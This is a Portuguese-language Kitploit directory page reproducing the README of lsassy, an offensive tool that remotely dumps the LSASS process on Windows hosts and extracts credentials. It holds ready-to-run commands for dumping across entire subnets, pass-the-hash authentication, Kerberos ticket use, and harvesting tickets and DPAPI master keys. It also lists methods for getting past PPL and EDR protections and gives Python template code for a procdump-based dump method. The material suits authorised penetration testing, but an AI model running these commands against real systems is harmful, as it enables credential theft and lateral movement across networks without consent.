Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
lsassy — Extrair credenciais do lsass remotamente | Kitploit
Ferramentas/GitHubGitHub/login-securite/lsassy
Coleta de InformaçõesPós-ExploraçãoTestes de PenetraçãoFerramenta de Acesso Remoto
GitHublogin-securite/lsassy

lsassy

Extrair credenciais do lsass remotamente

Ver Repositório
2.2k262há 5 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

lsassy

PyPI version PyPI Statistics Tests Twitter

Ferramenta Python para extrair remotamente credenciais de um conjunto de hosts. Este post no blog explica como funciona.

Esta ferramenta usa o projeto impacket para ler remotamente os bytes necessários no dump do lsass e o pypykatz para extrair credenciais.

CapítulosDescrição
AvisoAntes de usar esta ferramenta, leia isto
InstalaçãoInstalação do lsassy
Uso básicoUso básico do lsassy
Uso avançadoUso avançado do lsassy com explicação dos parâmetros
Adicionar método de dumpComo adicionar um método personalizado de dump do lsass
AgradecimentosAgradecimentos a estas pessoas e ferramentas
Discord oficialServidor oficial do Discord

Aviso

Embora eu tenha feito todos os esforços para tornar a ferramenta estável, vestígios podem ser deixados se ocorrerem erros.

Esta ferramenta pode deixar alguns dumps do lsass se não conseguir excluí-los (mesmo que tente arduamente) ou deixar uma tarefa agendada em execução se falhar ao excluí-la. Isso não deveria acontecer, mas pode. Agora, você sabe, use com cuidado.

Instalação

lsassy funciona com python >= 3.7

pip (Recomendado)

root@kitploit:~
python3 -m pip install lsassy

A partir do código fonte para desenvolvimento

root@kitploit:~
python3 setup.py install

Uso Básico

lsassy funciona imediatamente em múltiplos alvos (IP(s), faixa(s), CIDR(s), hostname(s), FQDN(s), arquivo(s) contendo uma lista de alvos)

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets

Por padrão, o lsassy tentará fazer o dump do lsass remotamente usando o método comsvcs.dll, seja via WMI ou via uma tarefa agendada remota.

Kerberos

lsassy pode autenticar com Kerberos. Requer um TGT válido na variável de ambiente KRB5CCNAME. Veja uso avançado para mais detalhes.

root@kitploit:~
lsassy -k targets

Exemplos

root@kitploit:~
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
 lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10

Uso Avançado

Diferentes métodos de dump do lsass são implementados no lsassy, e algumas opções são fornecidas para dar controle ao usuário sobre como a ferramenta procederá.

Funcionamento interno

lsassy é dividido em módulos

root@kitploit:~
                   +-----------+
                   |   Writer  |
                   +-----+-----+
                         |
                         |
 +----------+      +-----+-----+    +---------+
 |  Parser  |------|   Core    |----| Session |
 +----------+      +-----+-----+    +---------+
                         |
                         |
                   +-----------+
                   |    Dump   |-+
                   |  Methods  | |-+    +----------+
                   +-----+-----+ | |----|   File   |
                     +-----------+ |    +----------+
                      +------------+
                         |
                         |
                   +-----------+
                   |    Exec   |-+
                   |  Methods  | |-+
                   +-----+-----+ | |
                     +-----------+ |
                      +------------+

Módulo Core

Este módulo é o orquestrador. Ele cria a classe lsassy com os argumentos e opções fornecidos e, em seguida, chama os diferentes módulos para recuperar credenciais.

Módulo Logger

Este módulo é usado para fins de registro (logging).

Módulo File

Esta é uma camada construída sobre o Impacket para se comportar como um objeto de arquivo nativo do Python. Ele sobrescreve métodos como open, read, seek ou close.

Módulo Dumper

Este módulo contém toda a lógica de dump. Dependendo do método utilizado, ele executará código no host remoto para despejar o lsass usando o método fornecido.

Módulo Parser

Este módulo depende do pypykatz e usa o módulo de arquivo do lsassy para analisar remotamente o dump do lsass.

Módulo Writer

Este módulo lida com a parte de saída, seja para a tela em diferentes formatos e/ou escrever resultados em um arquivo.

Métodos de dump

Esta ferramenta pode despejar lsass de diferentes maneiras.

Métodos de dump (-m ou --method)

  • comsvcs
  • comsvcs_stealth
  • dllinject
  • procdump
  • procdump_embedded
  • dumpert
  • dumpertdll
  • nativedump
  • ppldump
  • ppldump_embedded
  • mirrordump
  • mirrordump_embedded
  • wer
  • EDRSandBlast
  • nanodump
  • rdrleakdiag
  • silentprocessexit
  • sqldumper

Método comsvcs

Este método usa apenas arquivos nativos do Windows para extrair credenciais remotas. Utiliza a função minidump da comsvcs.dll para despejar o processo lsass.

Método Procdump

Este método envia procdump.exe do SysInternals para despejar o processo lsass.

Método Dumpert

Este método envia dumpert.exe ou dumpert.dll do outflanknl para despejar o processo lsass usando syscalls.

Native Dump

Este método envia NativeDump.exe do ricardojoserf para despejar o processo lsass usando apenas NTAPIs.

Ppldump

Este método envia ppldump.exe do itm4n para despejar o processo lsass e contornar o PPL.

Mirrordump

Este método envia Mirrordump.exe do Ccob para despejar o lsass usando um handle já aberto para o lsass através de um plugin LSA.

WER

Este método usa a técnica WER utilizada no PowerSploit.

Opções

Para alguns métodos de dump, opções são necessárias, como o caminho do procdump ou dumpert. Essas opções podem ser definidas usando --options ou -O com uma lista separada por vírgulas no formato chave=valor.

root@kitploit:~
... --options chave=valor,foo=bar

Por exemplo:

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump    -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert     -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll  -O dumpertdll_path=/opt/dumpert.dll

Apenas análise

Você pode optar por analisar um processo lsass já despejado fornecendo a opção --parse-only, juntamente com os parâmetros --dump-path e --dump-name. Observe que se você escolher este método, o dump remoto do lsass não será excluído.

Por exemplo:

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"

Manter dump

Se você não quiser que o dump seja excluído automaticamente após a execução do lsassy, use --keep-dump.

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump

Coleta de tickets Kerberos

Os tickets Kerberos serão extraídos e salvos em $HOME/.config/lsassy/tickets no formato ccache. Você pode especificar o diretório de saída usando o parâmetro -K [diretório] ou --kerberos-dir [diretório]. Se este diretório não existir, a ferramenta tentará criá-lo antes de gerar os tickets.

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'

Coleta de chaves mestras DPAPI

As chaves mestras DPAPI serão extraídas e salvas em $HOME/.config/lsassy/masterkeys.txt no formato {GUID}:SHA1. Você pode especificar o caminho do arquivo de chaves mestras usando o parâmetro -M [caminho] ou --masterkeys-file [caminho]. Se o caminho do arquivo não existir, a ferramenta tentará criá-lo antes de criar o arquivo.

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'

Métodos de autenticação

Existem três maneiras diferentes de autenticar contra alvos remotos usando lsassy. O único requisito é que o usuário tenha direitos de administração local nos alvos remotos.

Credenciais em texto claro

A primeira e mais óbvia é usando credenciais em texto claro. Pode ser um usuário local ou de domínio.

root@kitploit:~
## Usuário local
lsassy -u pixis -p P4ssw0rd server01.hackn.lab

## Usuário de domínio
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab

Pass-the-hash

Também é possível autenticar usando o hash NT do usuário. Você pode fornecer LM:NT ou apenas a versão NT.

root@kitploit:~
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee

## Ou

lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab

Kerberos

Você também pode autenticar usando Kerberos. Para que isso funcione, você precisará ter um ticket válido salvo em disco, e o caminho do ticket precisa ser fornecido na variável de ambiente KRB5CCNAME. Para fins de teste, isso pode ser alcançado usando a ferramenta getTGT.py do impacket.

root@kitploit:~
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab

Este comando solicitará um TGT e o salvará no arquivo jsnow.ccache.

Para que o lsassy saiba qual ticket usar, você precisará definir explicitamente o caminho do ticket na variável de ambiente KRB5CCNAME.

root@kitploit:~
export KRB5CCNAME="/home/pixis/jsnow.ccache"

Quando estiver configurado corretamente, você poderá usar esse ticket para autenticação usando o parâmetro -k. Como você está usando este ticket, não precisa mais fornecer outras informações de autenticação.

root@kitploit:~
lsassy -k server01.hackn.lab

Observe que, para isso funcionar, você precisará de uma configuração DNS válida, seja dinâmica com um servidor DNS válido, ou estática usando o arquivo hosts. Além disso, você deve sempre usar o FQDN ao gerar tickets e usar o lsassy, ou seja, usar server01.hackn.lab em vez de server01.

Saída

Formato da tela

lsassy pode exibir credenciais em diferentes formatos usando a opção --format ou -f

Pretty

Formato padrão, credenciais limpas e bonitas são exibidas com cores douradas. In credz we trust.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Json

Exibe o resultado em formato json. Pode ser útil quando chamado de um script

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Grep

Saída que pode ser usada com grep, útil em one-liners

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
None

Não exibe o resultado. Útil ao usar --outfile

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none

Salvar em um arquivo

Salva o resultado em um formato pesquisável no arquivo fornecido (--outfile ou -o)

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt

Filtragem de resultados

Se você quiser obter apenas credenciais de usuários, filtrando as credenciais de computadores, use a opção --users

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users

Se não quiser que os tickets sejam exportados, use a opção --no-tickets

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets

Se não quiser que as chaves mestras sejam exportadas, use a opção --no-masterkeys

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys

Gerenciamento de threads

Você pode decidir quantas threads usar [1-256] usando o parâmetro --threads.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32

Adicionar método de dump

Há um arquivo dummy.py.tpl no diretório dumpmethod. Este arquivo contém a estrutura básica para criar uma nova funcionalidade de método de dump.

get_commands

Este método é obrigatório, pois é o método que será usado para executar código no host remoto para despejar o lsass de alguma forma. Ele deve retornar um dicionário com dois itens: cmd e pwsh.

O comando cmd é um comando compreendido pelo utilitário cmd.exe O comando pwsh é um comando compreendido pelo powershell (na maioria das vezes, o comando cmd também é válido no powershell)

root@kitploit:~
return {
    "cmd": cmd_command,
    "pwsh": pwsh_command
}

Dependências

Existe uma classe Dependency que pode ser usada para fazer upload facilmente de arquivos necessários para o método de dump, como procdump.exe do sysinternals. Dois métodos podem ser usados:

  • prepare_dependencies para verificar se todos os parâmetros foram fornecidos pelo usuário para encontrar localmente o arquivo no disco do usuário e fazer o upload e, em seguida, realmente fazer o upload do arquivo
  • clean_dependencies para tentar remover os arquivos enviados

(Opcional) prepare

Este método será chamado antes de executar os comandos fornecidos por get_commands. Pode ser usado para fazer upload de arquivos ou verificar coisas.

(Opcional) clean

Este método será chamado após executar os comandos fornecidos por get_commands. Pode ser usado para excluir arquivos enviados ou limpar coisas.

Exemplo

Aqui está um exemplo do procdump com alguns comentários

root@kitploit:~
from lsassy.dumpmethod import IDumpMethod, Dependency


class DumpMethod(IDumpMethod):
    """
    If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
    and uncomment 'dump_name' to provide expected dumpfile name on remote system.
    """
    custom_dump_name_support = True  # Default: True
    # dump_name              = ""    # Default: Random dumpfile name

    """
    If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
    and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
    If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
    In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
    """
    custom_dump_path_support = True  # Default: True
    # dump_share             = ""    # Default: "C$"
    # dump_path              = ""    # Default: "\\Windows\\Temp\\"
    dump_ext                 = "dmp"

    def __init__(self, session, timeout):
        """
        __init__ is overloaded to create some instance variables
        """
        super().__init__(session, timeout)
        
        """
        This module requires procdump.exe to be uploaded on the remote server before being executed.
        So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
        and second argument is default executable name on local user's disk.
        """
        self.procdump = Dependency("procdump", "procdump.exe")

    def prepare(self, options):
        """
        Prepare method is overloaded so that we are able to
        - check if mandatory parameters are provided
        - upload procdump on the remote host.
        All this can be done using prepare_dependencies method from our Dependency object
        """
        return self.prepare_dependencies(options, [self.procdump])

    def clean(self):
        """
        Clean method is overloaded so that we are able to delete our dependency if it was uploaded
        The clean_dependencies method will do this for us.
        """
        self.clean_dependencies([self.procdump])

    def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
        """
        get_commands method is overloaded as it is mandatory.
        Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
        The get_remote_path method of our Dependency object is used to get the correct remote path 
        of procdump on our target.
        """
        
        cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
            self.procdump.get_remote_path(),
            self.dump_path, self.dump_name
        )
        pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
            self.procdump.get_remote_path(),
            self.dump_path, self.dump_name
        )
        return {
            "cmd": cmd_command,
            "pwsh": pwsh_command
        }

Você pode verificar a classe dummy para mais comentários e/ou informações.

Agradecimentos

image

  • Kodoque pelo nome lsassy
  • Impacket
  • SkelSec pelo Pypykatz, mas também pela paciência e ajuda
  • mpgn pela ajuda e ideias
  • Cn33liz pelo Dumpert
  • itm4n pelo PPLDump
  • Ccob pelo MirrorDump
  • Matt Graeber pela Técnica WER
  • MrUn1k0d3r pela Técnica de Modificação de Serviço SMB
  • th3m4ks e Qazeer pelo EDRSandBlast
  • s4ntiago_p pelo nanodump
  • 0gtweet pela Técnica Rdrleakdiag
  • Luis Rocha pela Técnica SQLDumper
  • Asaf Gilboa pela Técnica LsassSilentProcessExit

Discord oficial

https://discord.hackndo.com

Bugs conhecidos

  • Versões compiladas não incluem table_output devido a algum erro estranho com a biblioteca rich

Histórico de estrelas

Star History Chart
Baixar ferramenta